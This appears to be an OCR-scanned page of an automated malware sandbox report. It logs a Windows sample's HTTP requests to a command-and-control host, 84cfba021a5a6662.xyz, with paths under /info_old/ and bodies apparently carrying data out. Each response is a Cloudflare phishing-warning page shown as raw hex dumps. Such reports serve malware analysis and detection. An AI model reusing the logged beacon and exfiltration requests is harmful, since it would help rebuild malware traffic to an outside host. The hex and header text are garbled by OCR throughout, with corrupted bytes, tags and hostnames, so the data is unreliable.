20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e 0a 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport
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Session ID

1

Timestamp

Jan 29, 2021
17:38:46.580929995 CET

Jan 29, 2021
17:38:46.659503937 CET

Jan 29, 2021
17:38:57.523209095 CET

Copyright null 2021

Source IP

192.168.2.5

kBytes
transferred

258

259

606

Source Port

49720

Direction

ouT

ouT

Destination IP Destination Port Process

104.21.23.16 80 C:\Users\user\Desktop\N1yprTBBXs.exe

Data

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfba021a5a6662.xyz

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:46 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d1a284289fa3f4f3ffo0e51abb2deb23a1611938326; expires=Sun, 28-Feb-21 16:38:46 GMT; path=/;
domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09c00580000722de58a1000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=vj1Vqs2FD2NY SoF7uok2Ug7SdDHDX5%2FX7E
z6WiJ99y2YyDaBEodnTgwX9CBAamkhpvhlv76jR6iRD7K4QkgoGmEzhqLiYIWIZ7T4LaNf3Nxe60wv4A%3D%3D"}],
"max_age":604800,"group":"cf-nel"}

NEL: {"max_age":604800,"report_to":"cf-nel"}

Server: cloudflare

CF-RAY: 619462ad5858722d-AMS

Data Raw: 31 30 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e Oa 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport"
co

POST /info_old/e HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 677

Host: 84cfba021a5a6662.xyz
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Timestamp

Jan 29, 2021
17:38:57.578520060 CET

Jan 29, 2021
17:38:57.634712934 CET

Jan 29, 2021
17:38:57.693810940 CET

Copyright null 2021

kBytes
transferred

608

612

614

Direction

IN

ouT

Data

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:57 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d0c77f8ee470537dddd2ec92d793e6cef1611938337; expires=Sun, 28-Feb-21 16:38:57 GMT;
path=/; domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09c2b1b0000722de5b61000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=%2BZ0J1cnVLyD8bjwQnQt99GunNGgbpH1vv7
YKIUEXGYIR1FU%2B2y4iFkkwUc2YSO3VbUXGZV3xWKV%2BVmMTFtD9bZVArPsHP%2Bg7Z0zCaA4jBLLou
e8walQ%3D%3D"}],"max_age":604800,"group™:"cf-nel"}

NEL: {"max_age":604800,"report_to":"cf-nel"}

Server: cloudflare

CF-RAY: 619462f1bd2b722d-AMS

Data Raw: 31 30 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3¢ 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e Oa 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewpo

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfba021a5a6662.xyz

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:57 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d0c77f8ee470537dddd2ec92d793e6cef1611938337; expires=Sun, 28-Feb-21 16:38:57 GMT;
path=/; domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09c2b8e0000722de28e5000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=TItZmQ4ZAgCnC4XZHARQuJ6c3SjymInZnZrm
M9mXZoJeXnjrEWul%2FMrWj8lY OCOeNeO%2BRY 2jk3uPLxZ4AMtf9xZFwNzvgcohA4k8gWgE5jaNMamf6Q%3D%3D"}
1,"max_age":604800,"group":"cf-nel"}

NEL: {"max_age":604800,"report_to":"cf-nel"}

Server: cloudflare

CF-RAY: 619462f27def722d-AMS

Data Raw: 31 30 64 33 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e 0a 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport"
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kBytes

Timestamp transferred Direction
Jan 29, 2021 624 ouT
17:38:58.145667076 CET

Jan 29, 2021 627 IN
17:38:58.201672077 CET

Jan 29, 2021 631 ouT

17:38:58.209351063 CET

Copyright null 2021

Data

POST /info_old/g HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;9=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 1393

Host: 84cfha021a5a6662.xyz

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:58 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d20309c657c3aa8033289bcf78fb7eb2f1611938338; expires=Sun, 28-Feb-21 16:38:58 GMT; path=/;
domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09c2d860000722ded166000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=wwZW7r1Jc28fPnL8KX VfjpY 1Ziyt%2BVfRGO
1K4TjvhT5qwKsR7RJ21bq397U3d2CIWET%2BOZMY mtfY Xfvyy TFQANjTIZFM6R80dsGHyFuHHI4IPtLkQA%3D%3D"}
1,"max_age":604800,"group":"cf-nel"}

NEL: {"max_age":604800,"report_to":"cf-nel"}

Server: cloudflare

CF-RAY: 619462f5af7b722d-AMS

Data Raw: 31 30 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e 0a 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport"

POST /info_old/w HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;9=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Content-Length: 81

Host: 84cfha021a5a6662.xyz
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Timestamp

Jan 29, 2021
17:38:58.264574051 CET

Jan 29, 2021
17:38:58.266551018 CET

Jan 29, 2021
17:38:58.319027901 CET

Copyright null 2021

kBytes
transferred

633

637

639

Direction

IN

ouT

Data

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:58 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d20309c657c3aa8033289bcf78fb7eb2f1611938338; expires=Sun, 28-Feb-21 16:38:58 GMT; path=/;
domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09c2dc70000722de513d000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=JdIGmOHRYN6 TmoSouRicUz8 GFAA2HWr7izc9
1a0OmOjRxyh2jhFYR5yNkdtmWkFWvCuEMfAAsSdyFPwIzrFONpb2meMEyMMnX5uLHflgX%2Bpa5HkS2Rg%3D%3D"}],
"max_age":604800,"group":"cf-nel"}

NEL: {"max_age":604800,"report_to":"cf-nel"}

Server: cloudflare

CF-RAY: 619462f60fc3722d-AMS

Data Raw: 31 30 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3¢ 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e Oa 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f

Data Ascii: 10d3<!DOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport"
co

GET /info_old/r HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193
Safari/537.36

upgrade-insecure-requests: 1

Host: 84cfba021a5a6662.xyz

HTTP/1.1 200 OK

Date: Fri, 29 Jan 2021 16:38:58 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d20309c657c3aa8033289bcf78fb7eb2f1611938338; expires=Sun, 28-Feb-21 16:38:58 GMT; path=/;
domain=.84cfba021a5a6662.xyz; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07f09c2e000000722de9acb000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=3BF6MsVzUm%2BiKRPPF%2B4BTQEMKHBP5vOD
ntkQQxydAste4RKWERXEQTDedOVImtMIEdcfBZubISIX5alRxSygxXrEAr2hXe7tbgad6N4b4y81UJuBwA%3D%3D"}
1,"max_age":604800,"group":"cf-nel"}

